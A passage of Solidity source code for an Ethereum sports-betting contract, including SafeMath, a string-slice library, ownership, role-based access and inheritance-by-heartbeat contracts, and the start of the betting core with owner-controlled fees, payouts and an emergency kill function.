* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/*
* @title String & slice utility library for Solidity contracts.
* @author Nick Johnson <[email protected]>
*
* @dev Functionality in this library is largely implemented using an
* abstraction called a 'slice'. A slice represents a part of a string -
* anything from the entire string to a single character, or even no
* characters at all (a 0-length slice). Since a slice only has to specify
* an offset and a length, copying and manipulating slices is a lot less
* expensive than copying and manipulating the strings they reference.
*
* To further reduce gas costs, most functions on slice that need to return
* a slice modify the original one instead of allocating a new one; for
* instance, `s.split(".")` will return the text up to the first '.',
* modifying s to only contain the remainder of the string after the '.'.
* In situations where you do not want to modify the original slice, you
* can make a copy first with `.copy()`, for example:
* `s.copy().split(".")`. Try and avoid using this idiom in loops; since
* Solidity has no memory management, it will result in allocating many
* short-lived slices that are later discarded.
*
* Functions that return two slices come in two versions: a non-allocating
* version that takes the second slice as an argument, modifying it in
* place, and an allocating version that allocates and returns the second
* slice; see `nextRune` for example.
*
* Functions that have to copy string data will return strings rather than
* slices; these can be cast back to slices for further processing if
* required.
*
* For convenience, some functions are provided with non-modifying
* variants that create a new slice and return both; for instance,
* `s.splitNew('.')` leaves s unmodified, and returns two values
* corresponding to the left and right parts of the string.
*/
library strings {
struct slice {
uint _len;
uint _ptr;
}
function memcpy(uint dest, uint src, uint len) private {
// Copy word-length chunks while possible
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
// Copy remaining bytes
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
/*
* @dev Returns a slice containing the entire string.
* @param self The string to make a slice from.
* @return A newly allocated slice containing the entire string.
*/
function toSlice(string self) internal returns (slice) {
uint ptr;
assembly {
ptr := add(self, 0x20)
}
return slice(bytes(self).length, ptr);
}
/*
* @dev Returns the length of a null-terminated bytes32 string.
* @param self The value to find the length of.
* @return The length of the string, from 0 to 32.
*/
function len(bytes32 self) internal returns (uint) {
uint ret;
if (self == 0)
return 0;
if (self & 0xffffffffffffffffffffffffffffffff == 0) {
ret += 16;
self = bytes32(uint(self) / 0x100000000000000000000000000000000);
}
if (self & 0xffffffffffffffff == 0) {
ret += 8;
self = bytes32(uint(self) / 0x10000000000000000);
}
if (self & 0xffffffff == 0) {
ret += 4;
self = bytes32(uint(self) / 0x100000000);
}
if (self & 0xffff == 0) {
ret += 2;
self = bytes32(uint(self) / 0x10000);
}
if (self & 0xff == 0) {
ret += 1;
}
return 32 - ret;
}
/*
* @dev Returns a slice containing the entire bytes32, interpreted as a
* null-termintaed utf-8 string.
* @param self The bytes32 value to convert to a slice.
* @return A new slice containing the value of the input argument up to the
* first null.
*/
function toSliceB32(bytes32 self) internal returns (slice ret) {
// Allocate space for `self` in memory, copy it there, and point ret at it
assembly {
let ptr := mload(0x40)
mstore(0x40, add(ptr, 0x20))
mstore(ptr, self)
mstore(add(ret, 0x20), ptr)
}
ret._len = len(self);
}
/*
* @dev Returns a new slice containing the same data as the current slice.
* @param self The slice to copy.
* @return A new slice containing the same data as `self`.
*/
function copy(slice self) internal returns (slice) {
return slice(self._len, self._ptr);
}
/*
* @dev Copies a slice to a new string.
* @param self The slice to copy.
* @return A newly allocated string containing the slice's text.
*/
function toString(slice self) internal returns (string) {
var ret = new string(self._len);
uint retptr;
assembly { retptr := add(ret, 32) }
memcpy(retptr, self._ptr, self._len);
return ret;
}
/*
* @dev Returns the length in runes of the slice. Note that this operation
* takes time proportional to the length of the slice; avoid using it
* in loops, and call `slice.empty()` if you only need to know whether
* the slice is empty or not.
* @param self The slice to operate on.
* @return The length of the slice in runes.
*/
function len(slice self) internal returns (uint l) {
// Starting at ptr-31 means the LSB will be the byte we care about
var ptr = self._ptr - 31;
var end = ptr + self._len;
for (l = 0; ptr < end; l++) {
uint8 b;
assembly { b := and(mload(ptr), 0xFF) }
if (b < 0x80) {
ptr += 1;
} else if(b < 0xE0) {
ptr += 2;
} else if(b < 0xF0) {
ptr += 3;
} else if(b < 0xF8) {
ptr += 4;
} else if(b < 0xFC) {
ptr += 5;
} else {
ptr += 6;
}
}
}
/*
* @dev Returns true if the slice is empty (has a length of 0).
* @param self The slice to operate on.
* @return True if the slice is empty, False otherwise.
*/
function empty(slice self) internal returns (bool) {
return self._len == 0;
}
/*
* @dev Returns a positive number if `other` comes lexicographically after
* `self`, a negative number if it comes before, or zero if the
* contents of the two slices are equal. Comparison is done per-rune,
* on unicode codepoints.
* @param self The first slice to compare.
* @param other The second slice to compare.
* @return The result of the comparison.
*/
function compare(slice self, slice other) internal returns (int) {
uint shortest = self._len;
if (other._len < self._len)
shortest = other._len;
var selfptr = self._ptr;
var otherptr = other._ptr;
for (uint idx = 0; idx < shortest; idx += 32) {
uint a;
uint b;
assembly {
a := mload(selfptr)
b := mload(otherptr)
}
if (a != b) {
// Mask out irrelevant bytes and check again
uint mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
var diff = (a & mask) - (b & mask);
if (diff != 0)
return int(diff);
}
selfptr += 32;
otherptr += 32;
}
return int(self._len) - int(other._len);
}
/*
* @dev Returns true if the two slices contain the same text.
* @param self The first slice to compare.
* @param self The second slice to compare.
* @return True if the slices are equal, false otherwise.
*/
function equals(slice self, slice other) internal returns (bool) {
return compare(self, other) == 0;
}
/*
* @dev Extracts the first rune in the slice into `rune`, advancing the
* slice to point to the next rune and returning `self`.
* @param self The slice to operate on.
* @param rune The slice that will contain the first rune.
* @return `rune`.
*/
function nextRune(slice self, slice rune) internal returns (slice) {
rune._ptr = self._ptr;
if (self._len == 0) {
rune._len = 0;
return rune;
}
uint len;
uint b;
// Load the first byte of the rune into the LSBs of b
assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
if (b < 0x80) {
len = 1;
} else if(b < 0xE0) {
len = 2;
} else if(b < 0xF0) {
len = 3;
} else {
len = 4;
}
// Check for truncated codepoints
if (len > self._len) {
rune._len = self._len;
self._ptr += self._len;
self._len = 0;
return rune;
}
self._ptr += len;
self._len -= len;
rune._len = len;
return rune;
}
/*
* @dev Returns the first rune in the slice, advancing the slice to point
* to the next rune.
* @param self The slice to operate on.
* @return A slice containing only the first rune from `self`.
*/
function nextRune(slice self) internal returns (slice ret) {
nextRune(self, ret);
}
/*
* @dev Returns the number of the first codepoint in the slice.
* @param self The slice to operate on.
* @return The number of the first codepoint in the slice.
*/
function ord(slice self) internal returns (uint ret) {
if (self._len == 0) {
return 0;
}
uint word;
uint length;
uint divisor = 2 ** 248;
// Load the rune into the MSBs of b
assembly { word:= mload(mload(add(self, 32))) }
var b = word / divisor;
if (b < 0x80) {
ret = b;
length = 1;
} else if(b < 0xE0) {
ret = b & 0x1F;
length = 2;
} else if(b < 0xF0) {
ret = b & 0x0F;
length = 3;
} else {
ret = b & 0x07;
length = 4;
}
// Check for truncated codepoints
if (length > self._len) {
return 0;
}
for (uint i = 1; i < length; i++) {
divisor = divisor / 256;
b = (word / divisor) & 0xFF;
if (b & 0xC0 != 0x80) {
// Invalid UTF-8 sequence
return 0;
}
ret = (ret * 64) | (b & 0x3F);
}
return ret;
}
/*
* @dev Returns the keccak-256 hash of the slice.
* @param self The slice to hash.
* @return The hash of the slice.
*/
function keccak(slice self) internal returns (bytes32 ret) {
assembly {
ret := keccak256(mload(add(self, 32)), mload(self))
}
}
/*
* @dev Returns true if `self` starts with `needle`.
* @param self The slice to operate on.
* @param needle The slice to search for.
* @return True if the slice starts with the provided text, false otherwise.
*/
function startsWith(slice self, slice needle) internal returns (bool) {
if (self._len < needle._len) {
return false;
}
if (self._ptr == needle._ptr) {
return true;
}
bool equal;
assembly {
let length := mload(needle)
let selfptr := mload(add(self, 0x20))
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
return equal;
}
/*
* @dev If `self` starts with `needle`, `needle` is removed from the
* beginning of `self`. Otherwise, `self` is unmodified.
* @param self The slice to operate on.
* @param needle The slice to search for.
* @return `self`
*/
function beyond(slice self, slice needle) internal returns (slice) {
if (self._len < needle._len) {
return self;
}
bool equal = true;
if (self._ptr != needle._ptr) {
assembly {
let length := mload(needle)
let selfptr := mload(add(self, 0x20))
let needleptr := mload(add(needle, 0x20))
equal := eq(sha3(selfptr, length), sha3(needleptr, length))
}
}
if (equal) {
self._len -= needle._len;
self._ptr += needle._len;
}
return self;
}
/*
* @dev Returns true if the slice ends with `needle`.
* @param self The slice to operate on.
* @param needle The slice to search for.
* @return True if the slice starts with the provided text, false otherwise.
*/
function endsWith(slice self, slice needle) internal returns (bool) {
if (self._len < needle._len) {
return false;
}
var selfptr = self._ptr + self._len - needle._len;
if (selfptr == needle._ptr) {
return true;
}
bool equal;
assembly {
let length := mload(needle)
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
return equal;
}
/*
* @dev If `self` ends with `needle`, `needle` is removed from the
* end of `self`. Otherwise, `self` is unmodified.
* @param self The slice to operate on.
* @param needle The slice to search for.
* @return `self`
*/
function until(slice self, slice needle) internal returns (slice) {
if (self._len < needle._len) {
return self;
}
var selfptr = self._ptr + self._len - needle._len;
bool equal = true;
if (selfptr != needle._ptr) {
assembly {
let length := mload(needle)
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
}
if (equal) {
self._len -= needle._len;
}
return self;
}
// Returns the memory address of the first byte of the first occurrence of
// `needle` in `self`, or the first byte after `self` if not found.
function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private returns (uint) {
uint ptr;
uint idx;
if (needlelen <= selflen) {
if (needlelen <= 32) {
// Optimized assembly for 68 gas per byte on short strings
assembly {
let mask := not(sub(exp(2, mul(8, sub(32, needlelen))), 1))
let needledata := and(mload(needleptr), mask)
let end := add(selfptr, sub(selflen, needlelen))
ptr := selfptr
loop:
jumpi(exit, eq(and(mload(ptr), mask), needledata))
ptr := add(ptr, 1)
jumpi(loop, lt(sub(ptr, 1), end))
ptr := add(selfptr, selflen)
exit:
}
return ptr;
} else {
// For long needles, use hashing
bytes32 hash;
assembly { hash := sha3(needleptr, needlelen) }
ptr = selfptr;
for (idx = 0; idx <= selflen - needlelen; idx++) {
bytes32 testHash;
assembly { testHash := sha3(ptr, needlelen) }
if (hash == testHash)
return ptr;
ptr += 1;
}
}
}
return selfptr + selflen;
}
// Returns the memory address of the first byte after the last occurrence of
// `needle` in `self`, or the address of `self` if not found.
function rfindPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private returns (uint) {
uint ptr;
if (needlelen <= selflen) {
if (needlelen <= 32) {
// Optimized assembly for 69 gas per byte on short strings
assembly {
let mask := not(sub(exp(2, mul(8, sub(32, needlelen))), 1))
let needledata := and(mload(needleptr), mask)
ptr := add(selfptr, sub(selflen, needlelen))
loop:
jumpi(ret, eq(and(mload(ptr), mask), needledata))
ptr := sub(ptr, 1)
jumpi(loop, gt(add(ptr, 1), selfptr))
ptr := selfptr
jump(exit)
ret:
ptr := add(ptr, needlelen)
exit:
}
return ptr;
} else {
// For long needles, use hashing
bytes32 hash;
assembly { hash := sha3(needleptr, needlelen) }
ptr = selfptr + (selflen - needlelen);
while (ptr >= selfptr) {
bytes32 testHash;
assembly { testHash := sha3(ptr, needlelen) }
if (hash == testHash)
return ptr + needlelen;
ptr -= 1;
}
}
}
return selfptr;
}
/*
* @dev Modifies `self` to contain everything from the first occurrence of
* `needle` to the end of the slice. `self` is set to the empty slice
* if `needle` is not found.
* @param self The slice to search and modify.
* @param needle The text to search for.
* @return `self`.
*/
function find(slice self, slice needle) internal returns (slice) {
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr);
self._len -= ptr - self._ptr;
self._ptr = ptr;
return self;
}
/*
* @dev Modifies `self` to contain the part of the string from the start of
* `self` to the end of the first occurrence of `needle`. If `needle`
* is not found, `self` is set to the empty slice.
* @param self The slice to search and modify.
* @param needle The text to search for.
* @return `self`.
*/
function rfind(slice self, slice needle) internal returns (slice) {
uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr);
self._len = ptr - self._ptr;
return self;
}
/*
* @dev Splits the slice, setting `self` to everything after the first
* occurrence of `needle`, and `token` to everything before it. If
* `needle` does not occur in `self`, `self` is set to the empty slice,
* and `token` is set to the entirety of `self`.
* @param self The slice to split.
* @param needle The text to search for in `self`.
* @param token An output parameter to which the first token is written.
* @return `token`.
*/
function split(slice self, slice needle, slice token) internal returns (slice) {
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr);
token._ptr = self._ptr;
token._len = ptr - self._ptr;
if (ptr == self._ptr + self._len) {
// Not found
self._len = 0;
} else {
self._len -= token._len + needle._len;
self._ptr = ptr + needle._len;
}
return token;
}
/*
* @dev Splits the slice, setting `self` to everything after the first
* occurrence of `needle`, and returning everything before it. If
* `needle` does not occur in `self`, `self` is set to the empty slice,
* and the entirety of `self` is returned.
* @param self The slice to split.
* @param needle The text to search for in `self`.
* @return The part of `self` up to the first occurrence of `delim`.
*/
function split(slice self, slice needle) internal returns (slice token) {
split(self, needle, token);
}
/*
* @dev Splits the slice, setting `self` to everything before the last
* occurrence of `needle`, and `token` to everything after it. If
* `needle` does not occur in `self`, `self` is set to the empty slice,
* and `token` is set to the entirety of `self`.
* @param self The slice to split.
* @param needle The text to search for in `self`.
* @param token An output parameter to which the first token is written.
* @return `token`.
*/
function rsplit(slice self, slice needle, slice token) internal returns (slice) {
uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr);
token._ptr = ptr;
token._len = self._len - (ptr - self._ptr);
if (ptr == self._ptr) {
// Not found
self._len = 0;
} else {
self._len -= token._len + needle._len;
}
return token;
}
/*
* @dev Splits the slice, setting `self` to everything before the last
* occurrence of `needle`, and returning everything after it. If
* `needle` does not occur in `self`, `self` is set to the empty slice,
* and the entirety of `self` is returned.
* @param self The slice to split.
* @param needle The text to search for in `self`.
* @return The part of `self` after the last occurrence of `delim`.
*/
function rsplit(slice self, slice needle) internal returns (slice token) {
rsplit(self, needle, token);
}
/*
* @dev Counts the number of nonoverlapping occurrences of `needle` in `self`.
* @param self The slice to search.
* @param needle The text to search for in `self`.
* @return The number of occurrences of `needle` found in `self`.
*/
function count(slice self, slice needle) internal returns (uint cnt) {
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr) + needle._len;
while (ptr <= self._ptr + self._len) {
cnt++;
ptr = findPtr(self._len - (ptr - self._ptr), ptr, needle._len, needle._ptr) + needle._len;
}
}
/*
* @dev Returns True if `self` contains `needle`.
* @param self The slice to search.
* @param needle The text to search for in `self`.
* @return True if `needle` is found in `self`, false otherwise.
*/
function contains(slice self, slice needle) internal returns (bool) {
return rfindPtr(self._len, self._ptr, needle._len, needle._ptr) != self._ptr;
}
/*
* @dev Returns a newly allocated string containing the concatenation of
* `self` and `other`.
* @param self The first slice to concatenate.
* @param other The second slice to concatenate.
* @return The concatenation of the two strings.
*/
function concat(slice self, slice other) internal returns (string) {
var ret = new string(self._len + other._len);
uint retptr;
assembly { retptr := add(ret, 32) }
memcpy(retptr, self._ptr, self._len);
memcpy(retptr + self._len, other._ptr, other._len);
return ret;
}
/*
* @dev Joins an array of slices, using `self` as a delimiter, returning a
* newly allocated string.
* @param self The delimiter to use.
* @param parts A list of slices to join.
* @return A newly allocated string containing all the slices in `parts`,
* joined with `self`.
*/
function join(slice self, slice[] parts) internal returns (string) {
if (parts.length == 0)
return "";
uint length = self._len * (parts.length - 1);
for (uint i = 0; i < parts.length; i++) {
length += parts[i]._len;
}
var ret = new string(length);
uint retptr;
assembly { retptr := add(ret, 32) }
for(i = 0; i < parts.length; i++) {
memcpy(retptr, parts[i]._ptr, parts[i]._len);
retptr += parts[i]._len;
if (i < parts.length - 1) {
memcpy(retptr, self._ptr, self._len);
retptr += self._len;
}
}
return ret;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Roles
* @author Francisco Giordano (@frangio)
* @dev Library for managing addresses assigned to a Role.
* See RBAC.sol for example usage.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev give an address access to this role
*/
function add(Role storage role, address addr) internal {
role.bearer[addr] = true;
}
/**
* @dev remove an address' access to this role
*/
function remove(Role storage role, address addr) internal {
role.bearer[addr] = false;
}
/**
* @dev check if an address has this role
* // reverts
*/
function check(Role storage role, address addr) view internal {
require(has(role, addr));
}
/**
* @dev check if an address has this role
* @return bool
*/
function has(Role storage role, address addr) view internal returns (bool) {
return role.bearer[addr];
}
}
/**
* @title RBAC (Role-Based Access Control)
* @author Matt Condon (@Shrugs)
* @dev Stores and provides setters and getters for roles and addresses.
* Supports unlimited numbers of roles and addresses.
* See //contracts/mocks/RBACMock.sol for an example of usage.
* This RBAC method uses strings to key roles. It may be beneficial
* for you to write your own implementation of this interface using Enums or similar.
* It's also recommended that you define constants in the contract, like ROLE_ADMIN below,
* to avoid typos.
*/
contract RBAC is Ownable {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address addr, string roleName);
event RoleRemoved(address addr, string roleName);
/**
* @dev constructor. Sets msg.sender as admin by default
*/
function RBAC() public {
}
/**
* @dev reverts if addr does not have role
* @param addr address
* @param roleName the name of the role
* // reverts
*/
function checkRole(address addr, string roleName) view public {
roles[roleName].check(addr);
}
/**
* @dev determine if addr has role
* @param addr address
* @param roleName the name of the role
* @return bool
*/
function hasRole(address addr, string roleName) view public returns (bool) {
return roles[roleName].has(addr);
}
/**
* @dev add a role to an address
* @param addr address
* @param roleName the name of the role
*/
function adminAddRole(address addr, string roleName) onlyOwner public {
roles[roleName].add(addr);
RoleAdded(addr, roleName);
}
/**
* @dev remove a role from an address
* @param addr address
* @param roleName the name of the role
*/
function adminRemoveRole(address addr, string roleName) onlyOwner public {
roles[roleName].remove(addr);
RoleRemoved(addr, roleName);
}
/**
* @dev modifier to scope access to a single role (uses msg.sender as addr)
* @param roleName the name of the role
* // reverts
*/
modifier onlyRole(string roleName) {
checkRole(msg.sender, roleName);
_;
}
modifier onlyOwnerOr(string roleName) {
require(msg.sender == owner || roles[roleName].has(msg.sender));
_;
}
}
/**
* @title Heritable
* @dev The Heritable contract provides ownership transfer capabilities, in the
* case that the current owner stops "heartbeating". Only the heir can pronounce the
* owner's death.
*/
contract Heritable is RBAC {
address private heir_;
// Time window the owner has to notify they are alive.
uint256 private heartbeatTimeout_;
// Timestamp of the owner's death, as pronounced by the heir.
uint256 private timeOfDeath_;
event HeirChanged(address indexed owner, address indexed newHeir);
event OwnerHeartbeated(address indexed owner);
event OwnerProclaimedDead(address indexed owner, address indexed heir, uint256 timeOfDeath);
event HeirOwnershipClaimed(address indexed previousOwner, address indexed newOwner);
/**
* @dev Throw an exception if called by any account other than the heir's.
*/
modifier onlyHeir() {
require(msg.sender == heir_);
_;
}
/**
* @notice Create a new Heritable Contract with heir address 0x0.
* @param _heartbeatTimeout time available for the owner to notify they are alive,
* before the heir can take ownership.
*/
function Heritable(uint256 _heartbeatTimeout) public {
setHeartbeatTimeout(_heartbeatTimeout);
}
function setHeir(address newHeir) public onlyOwner {
require(newHeir != owner);
heartbeat();
HeirChanged(owner, newHeir);
heir_ = newHeir;
}
/**
* @dev Use these getter functions to access the internal variables in
* an inherited contract.
*/
function heir() public view returns(address) {
return heir_;
}
function heartbeatTimeout() public view returns(uint256) {
return heartbeatTimeout_;
}
function timeOfDeath() public view returns(uint256) {
return timeOfDeath_;
}
/**
* @dev set heir = 0x0
*/
function removeHeir() public onlyOwner {
heartbeat();
heir_ = 0;
}
/**
* @dev Heir can pronounce the owners death. To claim the ownership, they will
* have to wait for `heartbeatTimeout` seconds.
*/
function proclaimDeath() public onlyHeir {
require(ownerLives());
OwnerProclaimedDead(owner, heir_, timeOfDeath_);
timeOfDeath_ = block.timestamp;
}
/**
* @dev Owner can send a heartbeat if they were mistakenly pronounced dead.
*/
function heartbeat() public onlyOwner {
OwnerHeartbeated(owner);
timeOfDeath_ = 0;
}
/**
* @dev Allows heir to transfer ownership only if heartbeat has timed out.
*/
function claimHeirOwnership() public onlyHeir {
require(!ownerLives());
require(block.timestamp >= timeOfDeath_ + heartbeatTimeout_);
OwnershipTransferred(owner, heir_);
HeirOwnershipClaimed(owner, heir_);
owner = heir_;
timeOfDeath_ = 0;
}
function setHeartbeatTimeout(uint256 newHeartbeatTimeout) internal onlyOwner {
require(ownerLives());
heartbeatTimeout_ = newHeartbeatTimeout;
}
function ownerLives() internal view returns (bool) {
return timeOfDeath_ == 0;
}
}
contract BettingBase {
enum BetStatus {
None,
Won
}
enum LineStages {
OpenedUntilStart,
ResultSubmitted,
Cancelled,
Refunded,
Paid
}
enum LineType {
ThreeWay,
TwoWay,
DoubleChance,
SomeOfMany
}
enum TwoWayLineType {
Standart,
YesNo,
OverUnder,
AsianHandicap,
HeadToHead
}
enum PaymentType {
No,
Gain,
Refund
}
}
contract AbstractBetStorage is BettingBase {
function addBet(uint lineId, uint betId, address player, uint amount) external;
function addLine(uint lineId, LineType lineType, uint start, uint resultCount) external;
function cancelLine(uint lineId) external;
function getBetPool(uint lineId, uint betId) external view returns (BetStatus status, uint sum);
function getLineData(uint lineId) external view returns (uint startTime, uint resultCount, LineType lineType, LineStages stage);
function getLineData2(uint lineId) external view returns (uint resultCount, LineStages stage);
function getLineSum(uint lineId) external view returns (uint sum);
function getPlayerBet(uint lineId, uint betId, address player) external view returns (uint result);
function getSumOfPlayerBetsById(uint lineId, uint playerId, PaymentType paymentType) external view returns (address player, uint amount);
function isBetStorage() external pure returns (bool);
function setLineStartTime(uint lineId, uint time) external;
function startPayments(uint lineId, uint chunkSize) external returns (PaymentType paymentType, uint startId, uint endId, uint luckyPool, uint unluckyPool);
function submitResult(uint lineId, uint[] results) external;
function transferOwnership(address newOwner) public;
function tryCloseLine(uint lineId, uint lastPlayerId, PaymentType paymentType) external returns (bool lineClosed);
}
contract BettingCore is BettingBase, Heritable {
using SafeMath for uint;
using strings for *;
enum ActivityType{
Soccer,
IceHockey,
Basketball,
Tennis,
BoxingAndMMA,
Formula1,
Volleyball,
Chess,
Athletics,
Biathlon,
Baseball,
Rugby,
AmericanFootball,
Cycling,
AutoMotorSports,
Other
}
struct Activity {
string title;
ActivityType activityType;
}
struct Event {
uint activityId;
string title;
}
struct Line {
uint eventId;
string title;
string outcomes;
}
struct FeeDiscount {
uint64 till;
uint8 discount;
}
// it's not possible to take off players bets
bool public payoutToOwnerIsLimited;
// total sum of bets
uint public blockedSum;
uint public fee;
uint public minBetAmount;
string public contractMessage;
Activity[] public activities;
Event[] public events;
Line[] private lines;
mapping(address => FeeDiscount) private discounts;
event NewActivity(uint indexed activityId, ActivityType activityType, string title);
event NewEvent(uint indexed activityId, uint indexed eventId, string title);
event NewLine(uint indexed eventId, uint indexed lineId, string title, LineType lineType, uint start, string outcomes);
event BetMade(uint indexed lineId, uint betId, address indexed player, uint amount);
event PlayerPaid(uint indexed lineId, address indexed player, uint amount);
event ResultSubmitted(uint indexed lineId, uint[] results);
event LineCanceled(uint indexed lineId, string comment);
event LineClosed(uint indexed lineId, PaymentType paymentType, uint totalPool);
event LineStartTimeChanged(uint indexed lineId, uint newTime);
AbstractBetStorage private betStorage;
function BettingCore() Heritable(2592000) public {
minBetAmount = 5 finney; // 0.005 ETH
fee = 200; // 2 %
payoutToOwnerIsLimited = true;
blockedSum = 1 wei;
contractMessage = "betdapp.co";
}
function() external onlyOwner payable {
}
function addActivity(ActivityType activityType, string title) external onlyOwnerOr("Edit") returns (uint activityId) {
Activity memory _activity = Activity({
title: title,
activityType: activityType
});
activityId = activities.push(_activity) - 1;
NewActivity(activityId, activityType, title);
}
function addDoubleChanceLine(uint eventId, string title, uint start) external onlyOwnerOr("Edit") {
addLine(eventId, title, LineType.DoubleChance, start, "1X_12_X2");
}
function addEvent(uint activityId, string title) external onlyOwnerOr("Edit") returns (uint eventId) {
Event memory _event = Event({
activityId: activityId,
title: title
});
eventId = events.push(_event) - 1;
NewEvent(activityId, eventId, title);
}
function addThreeWayLine(uint eventId, string title, uint start) external onlyOwnerOr("Edit") {
addLine(eventId, title, LineType.ThreeWay, start, "1_X_2");
}
function addSomeOfManyLine(uint eventId, string title, uint start, string outcomes) external onlyOwnerOr("Edit") {
addLine(eventId, title, LineType.SomeOfMany, start, outcomes);
}
function addTwoWayLine(uint eventId, string title, uint start, TwoWayLineType customType) external onlyOwnerOr("Edit") {
string memory outcomes;
if (customType == TwoWayLineType.YesNo) {
outcomes = "Yes_No";
} else if (customType == TwoWayLineType.OverUnder) {
outcomes = "Over_Under";
} else {
outcomes = "1_2";
}
addLine(eventId, title, LineType.TwoWay, start, outcomes);
}
function bet(uint lineId, uint betId) external payable {
uint amount = msg.value;
require(amount >= minBetAmount);
address player = msg.sender;
betStorage.addBet(lineId, betId, player, amount);
blockedSum = blockedSum.add(amount);
BetMade(lineId, betId, player, amount);
}
function cancelLine(uint lineId, string comment) external onlyOwnerOr("Submit") {
betStorage.cancelLine(lineId);
LineCanceled(lineId, comment);
}
function getMyBets(uint lineId) external view returns (uint[] result) {
return getPlayerBets(lineId, msg.sender);
}
function getMyDiscount() external view returns (uint discount, uint till) {
(discount, till) = getPlayerDiscount(msg.sender);
}
function getLineData(uint lineId) external view returns (uint eventId, string title, string outcomes, uint startTime, uint resultCount, LineType lineType, LineStages stage, BetStatus[] status, uint[] pool) {
(startTime, resultCount, lineType, stage) = betStorage.getLineData(lineId);
Line storage line = lines[lineId];
eventId = line.eventId;
title = line.title;
outcomes = line.outcomes;
status = new BetStatus[](resultCount);
pool = new uint[](resultCount);
for (uint i = 0; i < resultCount; i++) {
(status[i], pool[i]) = betStorage.getBetPool(lineId, i);
}
}
function getLineStat(uint lineId) external view returns (LineStages stage, BetStatus[] status, uint[] pool) {
uint resultCount;
(resultCount, stage) = betStorage.getLineData2(lineId);
status = new BetStatus[](resultCount);
pool = new uint[](resultCount);
for (uint i = 0; i < resultCount; i++) {
(status[i], pool[i]) = betStorage.getBetPool(lineId, i);
}
}
// emergency
function kill() external onlyOwner {
selfdestruct(msg.sender);
}
function payout(uint sum) external onlyOwner {
require(sum > 0);
require(!payoutToOwnerIsLimited || (this.balance - blockedSum) >= sum);
msg.sender.transfer(sum);
}
function payPlayers(uint lineId, uint chunkSize) external onlyOwnerOr("Pay") {
uint startId;
uint endId;
PaymentType paymentType;
uint luckyPool;
uint unluckyPool;
(paymentType, startId, endId, luckyPool, unluckyPool) = betStorage.startPayments(lineId, chunkSize);
for (uint i = startId; i < endId; i++) {
address player;
uint amount;
(player, amount) = betStorage.getSumOfPlayerBetsById(lineId, i, paymentType);
if (amount == 0) {
continue;
}
uint payment;
if (paymentType == PaymentType.Gain) {
payment = amount.add(amount.mul(unluckyPool).div(luckyPool)).div(10000).mul(10000 - getFee(player));
if (payment < amount) {
payment = amount;
}
} else {
payment = amount;
}
if (payment > 0) {
player.transfer(payment);
PlayerPaid(lineId, player, payment);
}
}
if (betStorage.tryCloseLine(lineId, endId, paymentType)) {
uint totalPool = betStorage.getLineSum(lineId);
blockedSum = blockedSum.sub(totalPool);
LineClosed(lineId, paymentType, totalPool);
}
}
function setContractMessage(string value) external onlyOwner {
contractMessage = value;
}
function setDiscountForPlayer(address player, uint discount, uint till) external onlyOwner {
require(till > now && discount > 0 && discount <= 100);
discounts[player].till = uint64(till);
discounts[player].discount = uint8(discount);
}
function setFee(uint value) external onlyOwner {
// 100 = 1% fee;
require(value >= 0 && value <= 500);
fee = value;
}
function setLineStartTime(uint lineId, uint time) external onlyOwnerOr("Edit") {
betStorage.setLineStartTime(lineId, time);
LineStartTimeChanged(lineId, time);
}
function setMinBetAmount(uint value) external onlyOwner {
require(value > 0);
minBetAmount = value;
}
// if something goes wrong with contract, we can turn on this function
// and then withdraw balance and pay players by hand without need to kill contract
function setPayoutLimit(bool value) external onlyOwner {
payoutToOwnerIsLimited = value;
}
function setStorage(address contractAddress) external onlyOwner {
AbstractBetStorage candidateContract = AbstractBetStorage(contractAddress);
require(candidateContract.isBetStorage());
betStorage = candidateContract;
// betStorage.transferOwnership(address(this));
}
function setStorageOwner(address newOwner) external onlyOwner {
betStorage.transferOwnership(newOwner);
}
function submitResult(uint lineId, uint[] results) external onlyOwnerOr("Submit") {
betStorage.submitResult(lineId, results);
